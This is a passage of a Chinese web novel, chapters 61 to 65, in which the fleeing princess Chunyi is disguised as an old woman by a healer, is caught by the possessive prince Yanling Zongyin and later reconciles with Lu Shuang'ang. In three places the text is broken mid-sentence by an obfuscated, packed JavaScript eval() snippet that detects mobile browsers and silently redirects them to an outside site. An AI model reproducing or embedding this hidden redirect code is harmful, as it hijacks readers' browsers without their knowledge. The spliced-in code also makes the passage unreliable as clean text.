左边一摞是他学着纯懿作画时的样子,偷偷涂下的一摞“画作”。他并没学过作画,笔触生疏,墨色不一,就连线条都是歪歪扭扭的,画的还不如大庆开蒙一年的小孩,可每一根线条,每一个曲折,不知怎么,无意识地就扭成她的模样。 延陵宗隐发现时,很是恼怒,本来准备扔掉的,却不知为何,鬼迷心窍又都留了下来,还越攒越多,最后积聚成这么厚厚一叠。 而右边一摞,是新收集来的纯懿近日的种种举动。她背着他许嫁太子,要做他的嫂子,还与大庆女人们联系,试图在蒙古国使臣的接风宴上下毒逃跑。 最可恨的是,她竟然又与陆家那个软脚虾搅和在了一起,两人缠缠绵绵甜甜蜜蜜,给他戴帽子! 越想,心里火气越是沸腾。延陵宗隐控制不住地咳嗽几声,一条暗紫色血线从唇角流下,看着就痛,可他却在笑。 “好,很好,真是好。”延陵宗隐慢慢点头,黑红交织的眼中映着跳动的火光,薄薄双唇扭曲成一个狰狞的弧度,再配上蜿蜒流淌的紫色血痕,诡异又可怖。 他忽然握住左边那摞纸,狠狠砸入火盆中,溅出四散飞舞的火星,噼啪作响。 “你最好藏好一点,不要再落到我手里。”延陵宗隐舌尖缓缓舔去唇边血迹,轻笑着开口,阴狠的声音在屋中回荡,激起层层回响,“来人!” 61. 第 61 章 经过孛果儿的精心治疗,第二日,陆双昂就恢复了意识,第三日,他可以坐起身来,到了第五日,他已经可以在纯懿的搀扶下,下地缓缓走上几步。在院子里晒太阳的时候,也能条理清楚地与孛果儿说上几句话。 这让孛果儿大为惊奇,一方面骄傲于自己的医术,另一方面,他也不止一次地私下对纯懿表达对陆双昂的敬佩和欣赏。 “丫头,你这情郎,真是这个!”孛果儿冲着纯懿立起大拇指。 纯懿就与有荣焉地笑,两眼眯起弯成月牙儿,纯真又美丽。 趁着夜深人静的时候,纯懿和陆双昂也偷偷商议过下一步的计划。听闻当日他昏迷之后,是纯懿接替了他的角色,带领大家前进,陆双昂看着眼睛亮晶晶、小脸红扑扑望着他,正在等待他表扬的纯懿,忽然展臂将她紧紧搂入怀里,就是压到自己的伤口也不愿放手,反而还更用力了一些。 “琅琅,对不起。”他缓缓的、郑重的道,“是我的错。” 纯懿觉得陆双昂依旧虚弱,开始还想挣脱他的拥抱。后来看陆双昂没有要放手的念头,也不敢再继续碰到他的伤口,只是乖乖地靠在他怀里,熟稔地仿佛仍在汴京城的帝姬府。忽然听到陆双昂道歉,纯懿不明所以地抬头:“怎么了?” “是我没有保护好你。”陆双昂将脸埋进纯懿肩头,声音闷闷的,听不出来是不是在哭,“你是大庆帝姬,你应该永远是那个在我身边无忧无虑的公主,不应该烦心这些事情。” 纯懿忽然有些晃神。她无忧无虑的少女时代在眼前飞快闪过,与后面的伤害痛苦相比,简直美好的如同一场梦。 “我这样不好吗?可以保护自己,也可以保护身边的人。”纯懿靠在陆双昂怀里,喃喃。 可不待陆双昂回答,她就先自己点了头,微笑:“不,我觉得很好。我喜欢这样的自己。” 陆双昂将她抱得更紧。沉默一会儿后,他的声音在耳边响起,直直落入纯懿心里:“我也喜欢这样的你。不管是什么样的你,只要是你。我就喜欢。” 一直没有收到余晚飞送来的消息,按照分别之时双方说好的,这意味着安全无忧。纯懿和陆双昂商议之后,决定还是先留在孛果儿这里,尽量将伤养好,等到约定的时间再去与余晚飞他们汇合。 可纯懿还是忍不住担心,快到约定日子的时候,她照顾陆双昂睡着,自己披上一件从头罩到脚的帷帽,出门去打听消息。 一走出孛果儿家的小巷,喧嚣吵闹就扑面而来。街上巡逻的虞娄兵士依旧在找人,只是这次似乎目标清晰了许多,只盯着年轻娘子来排查,许多兵士手里还都握着卷起来的一张纸,不时展开看看,然后目光警惕地在街上众人面上逡巡。 纯懿心下一沉。她悄悄走到几位虞娄兵士身后,抻着脖子去偷看他们手里的纸,发现这其实是一副画,画里的人面貌与她并不太相似,甚至可以说眉毛眼睛鼻子嘴巴,没有一处长得像她,可若是有熟悉她的人来,一定一眼就能认出,画上之人就是她。 很奇怪,明明哪里都不像,可不知从何透出的感觉和神韵,却让人立刻就能确定,这就是纯懿没错。 不过也多亏了神韵这事儿,不熟悉的人无从感觉,而画上之人的五官与纯懿并不太相似,这让她得以侥幸躲过了几次搜查。被拦下对比的次数多了,纯懿又吃惊地发现,虞娄兵士们手里的画卷竟然还不是一样的一幅,而是不同的好几幅。 有的画上她在抚琴,有的画上她在作画,有的画上她在赏花,还有的画上她甚至什么都没做,只是望着前方发呆。而能一下子拿出这么多她的画像来找人的人,除了那人,纯懿不做他想。 看着这么多不知道他从哪里收集来的画像,纯懿一时五味杂陈,心里说不出是个什么感受,是失望于延陵宗隐竟然又没有死,还是为他这奇怪的收集癖好而无奈。 最终,纯懿只是将帷帽扯得更低,悄悄离开。 延陵宗隐自己自然是觉得那些画像是很像的。将他艰难从火里抢出来的画像分发出去之后,不仅画像对比这边许久都没能有个结果,连他格外关注的他私印的下落这边,也没有一点令人满意的答复。纯懿仿佛真的是从人间蒸发了一般,没有留下一点痕迹。 这让延陵宗隐十分恼火,药碗都不知砸了几个。 恼火之后,延陵宗隐一遍遍看手里关于纯懿的消息,又一次次回想事发当晚纯懿的举动,终于渐渐咂摸出了些不对来: 纯懿是那么聪明的一个人,她当着他的面抢走他的私印,自然能想到,他一定会顺着这条线索追查到底。只要她拿出盖有他私印的任何东西,立刻就会露了行迹。 那她就一定不会用这印了。 若是不用他的印,她又要在哪里为自己伪造一份路引呢? 延陵宗隐右手食指在桌面轻轻敲击,在有节奏的“笃笃”声中,他将纯懿的每一步都在脑海里又过了一次。 忽然,他敲击的动作停住了,一个模糊的猜测缓缓出现。 那个死了的太子,延陵宗隽。 延陵宗隐想到她在太子府大张旗鼓搞得什么“净化仪式”,本来以为她只是想要躲避延陵宗隽的求欢,在借着这个需要四处乱窜的仪式拖延时间,若是真如他猜测的那般…… 延陵宗隐唇角缓缓上扬,露出一个残忍的弧度,可那笑容却一点儿都没有进入眼底。他扬声唤到:“黑塔,出动我的精锐部曲,去查延陵宗隽盖章后发出的公文。私印、官印、公印……” 停顿一下,他又补充:“还有他的亲信,他经常借名的那几个人……全部都查,一个都不要放过。” 纯懿还不知道延陵宗隐已经猜到了真相。眼看着十日之期将至,他们准备向孛果儿告辞离开,去往道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116959|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观与余晚飞他们汇合。 可就在陆双昂刚刚说出请辞的话时,孛果儿的表情就变得有些奇怪。他面上青一阵白一阵的,不住用眼瞟纯懿,又朝着外面一眼一眼地张望,似乎想说些什么,却实在是难以开口的样子。 犹豫纠结了许久,最后,他才吞吞吐吐说:“我看……你们还是别走着,先留下吧。在我这里多住上几天,养好伤再离开嘛。” 对于孛果儿的异常,纯懿只觉有些奇怪,陆双昂却立刻提起了十二分的警惕。他将手摸上腰间缠着的软剑,脸上不露丝毫异样,脚下却轻轻一转,将纯懿挡在自己身后,一双眸也带上了些威吓,沉下了声音:“我们的确还有事,必须得离开了。这段日子多谢您照顾。” 孛果儿却只是摇头,一直想要阻止他们出门,僵持到最后,甚至就连纯懿和扎娜都看出了孛果儿的不对劲儿。 陆双昂此刻已经完全不掩饰自己的敌意,脸上虽然还是浅笑,却语气严肃,不自觉就带上了些发号施令的施压感:“您这是什么意思?” 孛果儿又是语焉不详了许久,直到看出陆双昂彻底失了耐性,就要强闯时,他这才眼一闭心一横,飞快道:“你们是大庆人,对吧?” 然后指指纯懿,又补充:“你们,尤其是丫头你,就是近些天外面在找的人,对吧?” 虽然是问句,话语里却已经全是笃定,根本不需要纯懿与陆双昂回答。 纯懿两人顿时一惊。孛果儿那边却已经是无所畏惧,他本就不是能憋住话的性子,既然已经开口,索性直接道:“虞娄大军灭亡庆国,押送庆国皇族返回上京时,我正好在上京。当时的情景我记得很清楚,尊贵的大庆皇族个个蓬头垢面,连我们虞娄乞丐都不如。” 陆双昂双手攥拳,在身侧颤抖。这件事他并没有亲身经历,却是他此生心中最痛。 陆双昂不自觉去看他身后的纯懿。 在最初的震惊之后,纯懿的神情已经恢复了正常,只是面色还有些发白。她迈出一步,从陆双昂身后走出来,与他并肩而立,看向对面的孛果儿,仍然是温言温语的:“是的,我是大庆帝姬,我的封号是纯懿。景康二年,大庆灭亡,我随着大庆宗室来到虞娄,刚刚才找到机会,从上京逃了出来。” 她看着孛果儿,有些紧张,又怀着些期望,继续道:“然后呢?您拼命想要留下我们,是要举报我们,还是要帮助我们?” 孛果儿似乎没想到纯懿也如此坦诚,直接就承认了自己的身份,甚至连他们是逃出来的都告诉了他。他沉默一会儿,对着里屋伸手示意,动作间不自觉就带上了几分毕恭毕敬:“原来丫头是纯懿帝姬。帝姬请。” 陆双昂拉住纯懿的手。纯懿握住他的手腕,缓缓摇头,然后对着他露出一个微笑,脊背挺直,转身走入里屋。 门被关上,彻底阻挡了陆双昂担忧的目光。 62. 第 62 章 纯懿在屋里待了很久,久到陆双昂已经快要压抑不住自己的焦灼,在认真考虑要不要冲进去的时候,里屋的门忽然打开了。 先出来的是孛果儿,他一幅笑眯眯的模样,眉眼间都是掩饰不住的骄傲。对上陆双昂朝他看来的犀利目光,他一摊手,对着陆双昂笑:“我把你的爱人弄没啦!” 微一怔愣之后,陆双昂的脸色猛然铁青,双拳顿时紧握了起来,朝着孛果儿逼近一步。就在他的手马上就要拽上孛果儿的衣领时,一个身影忽然从孛果儿身后出现,缓步朝他走来。 这下陆双昂是真的愣住了。 他的面前站着一位老妇人,头发花白,脸上全是皱纹,松弛的眼皮无力的耷拉着,几乎完全遮盖了眸子。眼下站在高瘦的陆双昂面前,为了能看到他的脸,老妇人努力抬起沉重的眼皮,缝隙中却露出了一双水波潋滟的眸子,里面盈满了陆双昂熟悉的清灵,还有一分许久未见的狡黠。 老妇人对着陆双昂笑,福身下拜的动作是与面貌截然不同的轻巧:“这下可不能唤你哥哥了,得改称你公子才行。老婆子见过陆公子,这一路上一定会尽了老身本分,伺候好公子的。” 陆双昂无奈。他脸上戾气消失无踪,变成了半是好笑半是宠溺的笑,上前动作轻柔扶起老妇人,清清嗓子,饶有介是地点头:“的确是不能再唤我哥哥了。” 看陆双昂应承的这么爽快,改头换面的纯懿用两根手指撑起沉重的眼皮,嗔他:“你是不是盼这一天很久了?” “对啊,”陆双昂想揉揉纯懿的发顶,却又怕破坏了孛果儿的妆容,只得小心戳了戳纯懿干瘪的脸颊,“你怎么能是我的老妈子,你是我的老祖宗才对。这一路晚辈一定会好好尽本分,伺候好老祖宗您的。” 纯懿脸上涂了厚厚的胶水和面皮,却也觉得烫的很,抬起拳头去锤陆双昂的胸膛,又怕碰到他的伤口,轻轻一碰,反而更像是打情骂俏。 孛果儿和扎娜靠在一起,满脸笑意看着眼前这对小情人。孛果儿瞅空叮嘱:“丫头记得不要碰水,不要做大的表情,小心一些,应该能撑上八九天的。” 陆双昂与纯懿对视一眼,手牵着手,对着这位好心的虞娄大夫深深行礼。陆双昂身子高些,纯懿身子低些,两人的礼节也并不完全一样,可看上去却是无比和谐:“多谢您。以后如果有机会,到南庆找我们,我们一定好好尽地主之谊,报答您的恩情。” 孛果儿乐呵呵的连连点头:“好说,好说。” 有了孛果儿的帮助,纯懿走在街上,更加无惧于不时出现的虞娄兵士。两人一路顺利到了说好要见面的道观,余晚飞他们还没到,纯懿他们也就不着急,陆双昂扶着纯懿的手肘,掺着她慢慢在道观里绕弯儿,不时低声耳语,似乎真的是一对感情甚笃的祖孙。 可随着时间流逝,日头从东边升到中间,又缓缓朝着西边滑落,来道观参拜的人群也换了一波又一波,仍是不见余晚飞他们的身影,纯懿和陆双昂终于着急了起来。纯懿现在是个老太太,自然不能行走如飞,行动不便的很。陆双昂想去寻找,又放心不下纯懿,正在两难时,忽觉纯懿拉了拉他的手。 陆双昂弯下腰,将耳朵凑到纯懿面前,轻声道:“怎么了?” “我有点担心,你去找找他们吧。”纯懿自然懂陆双昂未说出口的顾虑,笑着摇了摇他的胳膊,“我就在这里等你,哪里都不去。你放心,快点回来找我。” 陆双昂一步三回头地离开了。纯懿乖乖坐在树下的石凳上,看着来来往往、有喜有悲的人群,思绪渐渐发散起来。 不受控制地,纯懿就想到了一个人。一个已经消失在她身边有段时间、却又似乎一直在暗处虎视眈眈注视着她的人。 看着跪在殿前虔诚许愿的人群,纯懿忽的心中一动。 她起身,颤颤巍巍走到大殿前,选了一个人最多的地方悄然跪下,然后闭上双目,双手合十举于胸前,满脸悲痛地开口:“各路神仙在上,信女有冤屈申诉。” 她的声音不大不小,正好能被周围一圈儿人听得清清楚楚:“我们大太子死的冤,那个二太子企图弑兄夺位,把罪过都推到手无缚鸡之力的大庆帝姬和远在军中的大庆将军身上,真是手段毒辣!凶残至极!” 说到“手段毒辣、凶残至极”八字时,纯懿的真心异常明显,引起旁边一众人侧目。 纯懿恍如未觉,继续道:“眼下,怕帝姬说出真相,二太子还四处搜捕她,企图杀人灭口。各路神仙保佑,希望大庆帝姬可以逃过一劫,有朝一日为太子昭雪!” 说罢后,纯懿恭恭敬敬连磕三个响头,然后不顾周围的窃窃私语,缓缓起身,又颤颤巍巍离开了。 作戏做全套,纯懿在众人复杂目光的注视下,迈着蹒跚的脚步一直走出了道观大门,又转了个弯,这才彻底离开了大家的视线。 站在离城门不远的大街上,纯懿环顾周围,有些无奈地叹了口气,决定绕着这座道观走上一圈,等刚刚那些人走得差不多了,再回去等待陆双昂。 她便重新佝偻着身子,小步小步向前挪动。 刚迈出十几步,忽然,一阵急促响亮的马蹄声从城门处传来,街上顿时一阵骚动。纯懿与众人一起退到路边,小心翼翼朝城门口张望,果然不过瞬间,就有一队骑士飞驰而来。 他们统一穿着黑色骑装,骑士们驾马的动作干脆利落,口号嘹亮,马儿也高大雄壮,丝毫不受围观人群的影响,昂首扬蹄,整支队伍气势威猛,实在是很迫人。 可若说整支队伍有十分威猛,其中独占了七分的,还得是领头的人。 那人面容英俊,却表情严峻,两片薄唇紧紧抿着,一双黑眸宛若深潭,只淡淡扫上一眼,一种威压就扑面而来,让人不自觉地畏缩一下,本能地回避他的目光。他的身子伏在马背之上,随着马儿飞驰有规律地颠簸,本就肌肉遒劲的肩膀因着用力揽绳而更觉宽阔,浑身充满了力量和属于男人的野性之美,让街上围观的娘子媳妇们脸红了一片,一边惧怕这人浑身的气势,一边又忍不住一眼接着一眼去偷瞟。 纯懿刹那间却只觉浑身冰凉,已经完全想不起来自己脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145562|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的伪装,下意识转身,有些慌不择路地奔回不远处的道观。直到转入道观围墙,将身子完全隐藏在道观之内,她抚上剧烈起伏的胸膛,仍能感受到一颗心正在飞快跳动。 延陵宗隐! 他怎么会出现在这里? 纯懿已经很久没有如此慌张了。她不得不承认自己与延陵宗隐之间的实力差距,也因此,对延陵宗隐有一种来自本能的畏惧。 她仔细回想了之前与延陵宗隐遇到的一幕,觉得延陵宗隐应该是没有认出自己,然后又懊恼自己不应该奔回道观,生怕延陵宗隐追来,想要立刻离开,却又担心陆双昂回来找不到自己。 想了又想,纯懿目光在道观内四处逡巡,忽然发现侧殿的供桌下有一条窄窄的缝隙,露出一片极小的黑暗空间,似乎可以藏一个人。 纯懿立刻就朝着那里奔去。她掀开供桌上垂下的黄色缎布,从供桌侧面和墙壁的细窄缝隙中艰难挤进了供桌下,将自己整个身体都蜷缩进供桌里面,只从供桌与香炉之间的缝隙里露出一双眼睛,小心向外张望。 外面一片宁静,没有任何异样。而这么缩了没一会儿,纯懿就觉自己腿脚发麻,浑身没有一处不痛的。 她不由有些懊恼,自己怎么一遇到延陵宗隐就方寸大乱,又有些嘲笑自己的草木皆兵。正在犹豫自己是不是应该出去透透气,忽然,一阵靴子的踢踏声传来,借着就是人群的惊呼,可很快,四周重新归于安静,连香客们相互交谈笑闹的声音都没有了,只留下一片诡异的沉寂。 纯懿刚刚才平静下来的心再次剧烈跳动起来。 她伸长脖子,透过缝隙,小心翼翼向外张望,视野只剩下窄窄的一条,映着地面的青砖。 忽然,一双黑色靴子踏在了青砖之上。这双黑色靴子步履缓慢,步伐却极大,脚步也很有力,一声一声,声声都踏入纯懿心里。 嗒。嗒。嗒。嗒。 纯懿躲在供桌下捂着嘴巴,呼吸都几乎要停住,看着那双黑色靴子在屋里转了一圈,尤其在墙角和容易躲人的地方多停留了一会儿,甚至还走到香炉边,试图将那个巨大的香炉移个地方,让纯懿险些惊呼出声。 不过他似乎什么都没有发现,连搬开香炉的试图也失败了。那黑色靴子在香炉旁停留了一会儿,脚尖离着纯懿几乎只有一掌之遥,几度让纯懿怀疑他是不是发现了她。 可最后,那双黑色靴子还是转了个方向,脚尖朝外,又“嗒、嗒、嗒”的离开了。 四周重新安静下来,纯懿终于松了口气。她缩回了抻得老长的脖子,缓缓吐出一口浊气,右手缓慢向下摸索,想要揉捏一下因着过于紧张而抽筋的脚腕。 突然,头顶传来一声巨响,供桌桌面上就出现了一个大洞,从洞中伸来一只犹带着木屑和血痕的大掌,一把紧攥住纯懿的衣领。 延陵宗隐的脸出现在洞口处。他眼神凶恶,语气凶狠,拽着纯懿衣领的手青筋爆起,似乎是想要将她生生从洞口拖拽出去。 他的声音仿佛来自地狱幽冥,一字一顿:“纯!懿!帝!姬!” 64. 第 64 章 孛果儿和扎娜正靠在一起烤火,家里的大门突然被人踹开,两人都吓了一跳。待看清挟着怒意迈入屋子的男人时,两人面上有明显的畏惧,却没有多少惊奇,似乎是已经预想到这些不速之客的到来。 延陵宗隐也敏锐发现了这一点。他沉声开口:“她呢?” 孛果儿安抚地拍了拍扎娜的手背,自己上前一步,将她护在身后:“丫头已经离开了。” 在刚刚问出口的刹那,延陵宗隐也已经预想到了这个回答,可真的听到这个消息,还是让他心里控制不住地腾起一阵怒火。现在纯懿不在这里,他的火气便全数朝着孛果儿撒去:“就是你帮她换了样貌?” 孛果儿知道说谎没用,也没有尝试欺瞒,诚实地点头认了下来:“对,是我。” 延陵宗隐黑眸眯起。他定定盯着眼前这个一脸憨厚的虞娄大夫,手指将刀柄捏的更紧,甚至还将大刀微微上抬了几分。虽然没再说一个字,可他浑身上下萦绕的杀意,明显到让不通武艺的孛果儿和扎娜都不由打了个哆嗦。 黑塔和几位熟悉延陵宗隐的亲兵已经做好了准备,只待延陵宗隐一声令下,就血洗这座宅子。就在这时,孛果儿却忽然动了。 他竟然主动上前几步,走到延陵宗隐面前,对着他恭敬行礼之后,从怀里掏出一张叠的四四方方的纸条,放在手心里,双手呈给延陵宗隐。 延陵宗隐却没有接。他扫那纸条一眼,将视线重新放在孛果儿身上:“你知道我是谁?” “不知道。丫头没说,也不让我问。”孛果儿实诚地摇头,“但是她临走之前,将这个交给了我,说如果有人找来,就用这个保命。” 孛果儿倒是一五一十的全都交代了,一点儿都不隐瞒。延陵宗隐又扫那纸条一眼,冷嗤一声:“保命?就这么个东西?她未免也太看得起自己了。” 孛果儿不敢说话了。他只是继续将那纸条捧在延陵宗隐面前,埋着头等待。 沉默良久之后,手上一轻,延陵宗隐还是接过了那纸条。他单手一甩就将那纸条展开,拎到眼前,微侧着头,一目十行地看。 果然是纯懿那熟悉的笔迹。他曾经见过她的字,娟秀小巧,整齐好看,就是给当年的帝姬亲卫们写的诏令,也是极具美感,更别提他曾经截获的她写给陆双昂的家书了,里面每个字都透着绵绵情意,让当时的他冷笑许久,只觉差点酸掉了牙。 现在她倒是终于也给他写了封信。 不过与写给陆双昂的那些家书相比,写给他的这封字条就未免有些过于公事公办了。开头是一句客套的招呼,然后就立刻解释了自己逼迫着大夫给她换了容貌,求他不要随便杀人,伤害好心的大夫一家,又客气地说一人做事一人当,如果以后还能见面,会连虞娄大夫的这份一起还给他,最后还不忘生疏地祝愿他万事顺遂。 话里话外,没有一点儿后悔和求饶的意思。 延陵宗隐不由咬紧了后槽牙。 还一人做事一人当,再见时一起还给他?按她这走得头也不回的意思,能不能再见还不一定呢,不求饶解释也就算了,竟然还给他画饼? 延陵宗隐觉得后背的伤口更痛了,当时被她捅的那个伤口似乎不准备愈合了似的,总是折磨着他,提醒着他她的又一次背叛。 而他,决不允许背叛。 延陵宗隐冷哼一声,随手将纸条抛到一边。他毫不犹豫举起大刀,架在面前这个大夫的脖子上,眼神阴鸷看着他,声音极轻:“爷要找的人你都敢藏,还想活命?” 黑塔等人立刻随着他的动作,也将手中武器举起。黑塔的刀卡在扎娜脖间,其他人则四散而去,踹开每一扇房门,将整座宅子翻了个底朝天,然后跑回来回禀:“郎主,没人了。” 延陵宗隐黑眸眯起。他再次将目光投向孛果儿,手下微一使劲,孛果儿的脖颈上就多了一条血痕。 鲜红的血液唤醒了他骨子里的暴戾,更是让他这几日勉强压制的嗜血欲望喷涌而出。眼前这个人帮助了那个狡猾的女人,让她又一次愚弄了他,从他的手下逃脱,这对延陵宗隐来说无疑是奇耻大辱。他应该立刻砍了他,然后在逮到那女人的时候,把他的头扔到她的面前。 她是那种善良到愚蠢的人,一定会痛苦万分,会跪在他面前求他,哭着发誓再也不敢离开他。 想到那样的画面,延陵宗隐浑身的血液就沸腾起来,连眼睛都带上了些红色,掀起眼皮看着孛果儿,手下又加了些力气,欣赏着他面上控制不住流露出的痛苦之色。 站在他身后的黑塔也凶神恶煞地瞪着扎娜,只等自家郎主砍了那大夫,自己就立刻动手杀了这娘们。 可身体倒地的声音迟迟都没有传来。不知僵持了多久,在众人的屏息等待中,在众目睽睽之下,延陵宗隐却忽然撤了手。 他一个漂亮的手花,转而用刀柄在那大夫肩头重重一戳,将他推得一个趔趄,不由后退了几步,撞在一旁的药柜上,药瓶子噼里啪啦落了下来,砸了一地。 一片狼藉之中,延陵宗隐转身,大步离开了房间,只留下冷淡的一句吩咐:“把这医馆给我砸了。” 纯懿和陆双昂在道观失散,两人却都很有默契地回了孛果儿的医馆,又一起及时离开,找了个破庙凑活了一夜。第二天,听闻孛果儿的医馆被人砸了个稀巴烂,人却只是受了些惊吓,没什么大事,都不由松了口气。 陆双昂还是有些担心,怕延陵宗隐还会回来找孛果儿他们的麻烦,想要去提醒他们离开。纯懿却劝住了他: “昂哥哥,延陵宗隐为人睚眦必报,但只要让他撒了气,他也不是会抓着不放的那种人。现在已经砸了医馆,这事就算了解了,他不会再回来翻旧账了。” 陆双昂看着纯懿清澈认真的眸子,想到延陵宗隐这般带着伤还不依不饶追来的缘由,不知怎么,就觉她这话分外刺耳。 他开口就不由带了些挖苦:“这才多久,你倒是了解他。” 说罢,看着纯懿骤然暗淡的眸子,陆双昂才猛然醒悟自己到底说了什么。他懊恼到无以复加,见纯懿只是默然转身想要离开,一阵恐慌顿时席卷而来。 他紧赶两步追上纯懿,从后紧紧拥住她,感受到她身体的僵硬和闪躲,不由将她锢得更紧,把自己的下巴架在她单薄的肩头,不住道歉:“琅琅,对不起,是我的错,我刚刚失了理智,说错了话。琅琅,我不是那个意思,我混蛋,你不要生气,好不好?你原谅我,好不好?” 纯懿陷在陆双昂的怀抱中,已经是泪流满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178079|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,平静了许久才控制了情绪,吸了吸鼻子,瓮声瓮气地开口:“昂哥哥,你不用道歉。你的怨恨不甘,都是应该的,我没有立场责怪你。” 她第一次挣开陆双昂的怀抱,转身面对着他,仔细看着这张她从小看到大的熟悉脸庞,和上面增添的许多她有些陌生的纹路和神情,涩然开口:“你那么聪明,我在虞娄的事……想必你能猜到七七八八。你是陆家小公子,陆家军唯一的继承人,如果你嫌弃我,觉得我配不上你了,我……” “没有,琅琅,你不要这样说。”似乎是生怕听到纯懿要说出的话,陆双昂急忙打断她。他急到眼圈都有些发红,眉间纹路更深,看着竟然一点儿都没有了之前那个意气风发的少年影子,反而更像是一个饱经沧桑的中年人。 他急声道:“我不会……我怎么会嫌弃你。你是大庆帝姬,是天下最纯洁可爱的小公主,一直都是我配不上你。我生怕你会不要我,怕你要离开我,我又怎么会……” 他深深呼吸,声线颤抖着,紧紧握着纯懿的肩膀,认真看着她:“琅琅,我不是那些酸腐文人,天天说着之乎者也,现在又新加了什么节烈守贞。琅琅,在我心里,没有人比你更重要,也没有任何东西比生命更重要。 不管你经历了什么,你现在还活着,还能这样出现在我面前,对我笑,对我发脾气,我就非常感谢上天垂怜了。过去的事情,我不在乎,你也不要在乎,我们一起去走我们的未来,好吗?” 陆双昂的面庞上增添了风霜,眼中却依旧都是赤诚,与当年那个走马游花的少年郎别无二致。 纯懿的眼泪再次掉了下来。她投入陆双昂的怀中,紧紧环着他的腰,将眼泪都抹在他的衣襟上:“那我可要一直缠着你了,让你就是想甩也甩不开!” 陆双昂也紧紧回抱着她。他俯下头,在她发间轻吻,许诺般地:“好。要是你再消失,不管你到了哪里,天涯海角,我都会找到你,然后让你继续缠着我。” 短暂的争执之后,两人和好如初,甚至更加亲密无间。纯懿也终于放下了一直压在心里的包袱,连每日出门寻找余晚飞的脚步都轻快许多。 她并不知道余晚飞那日为何没有依约前往道观,也不敢频繁在街上抛头露面。与陆双昂商议之后,他们决定再等十日,待第二个十日之期到来之时,再去道观碰碰运气。 而与此同时,余晚飞也在焦急寻找着纯懿。约定那日他前往道观之时,道观周围已经被延陵宗隐的部曲围了个水泄不通,他们急忙转去藏身,也就没能与纯懿他们碰头。 而此刻,看着迎面而来的一队骑兵,以及飞驰在最前方的延陵宗隐,余晚飞一边立刻转身低头隐于人群中,一边暗骂他怎么如此阴魂不散。 不知是不是他的错觉,余晚飞只觉延陵宗隐的目光似乎在他身上停留了一会儿,可急速前进的队伍并没有停下步子,而是掠过他们,继续前行。 待马蹄声终于渐渐消失,余晚飞这才松了口气。他与永嘉宗姬对视一眼,两人拉着旁边难掩惊慌的杜伽茹,飞快走入旁边一条僻静的小巷。 杜伽茹立刻甩开他们的手。她气哼哼的喊:“风餐露宿,躲躲藏藏,像是乞丐一样!不,还不如乞丐,就是连逃犯也不如!我真是受够了!” 65. 第 65 章 杜伽茹毕竟是贵女,余晚飞自觉没有资格说什么,便忍了忍,垂了眼不说话。永嘉宗姬却不惯着她,一双大眼睛扑闪扑闪的甜美异常,说出口的话却直截了当:“你以为你现在是个什么身份?大庆贵女?虞娄贵妇?不过就是一个逃犯而已,有什么好挑三拣四的?” 永嘉宗姬虽然长得天真娇憨,性子却是很有些强势,再加上毕竟身份比自己高,杜伽茹本来是不敢与永嘉顶嘴的。 可她实在是受不了了。 在杜伽茹的设想中,路上累一点苦一点也是暂时的,等回了南庆,她就又可以做那个高高在上的世家娘子了,所以一听说永嘉和纯懿要联合起来跑路,她想也没想就要跟着一起走。更何况,永嘉和纯懿可都是皇族,跟着她们一起,怎么着路上也不会太过辛苦。 可却没想到这一路上,她们俩竟然什么苦都能吃,扮乞丐,装流民,一走就是几天不歇脚,连睡觉都是露天躺在沙地树丛里。 杜伽茹自小也是家里娇养长大的,就是在北迁路上,她也在姐姐的指点下攀上了那个阿古统领,得了不少优待。现在没人优待她了,她就察觉出赶路的万分辛苦,终于忍不住满腔怨念:“宗姬,那个宗隐郎主一直紧追不舍,我们整天这么提心吊胆的躲躲藏藏,也不是个办法啊。” 永嘉双臂抱胸,冷笑着昂起下巴:“所以呢?你有办法?” 这个念头杜伽茹其实已经想了很久了,只是一直不敢说。现在怒气上涌,也就不管三七二十一:“宗隐郎主要抓的只是纯懿帝姬,我们如果像其他姐妹们一样,与她分开行动……” “你闭嘴!” 一声厉喝打断了杜伽茹的话,竟然不是永嘉宗姬,而是很少开口说话的余晚飞。他圆圆的脸上全是怒气,一双眸子直勾勾看着杜伽茹,双手紧握成拳:“我们是一体的。如果你觉得被我们连累了,大可以自己上路,我们绝不说什么。其他的念头你都给我收回去,要不然,就别怪我赶你滚开!” 杜伽茹知道余晚飞从前不过是个小乞丐,现在连一个小乞丐竟然都敢呵斥她了,她更觉委屈,眼泪立刻就在眼眶里打转,求救一般地去看永嘉。 永嘉却仍是保持着双臂环抱的姿势不动,对上杜伽茹的目光也没有任何表示,眸中甚至还微微带些笑意,明显是不仅不打算帮杜伽茹说话,甚至还很是认同余晚飞的斥责。 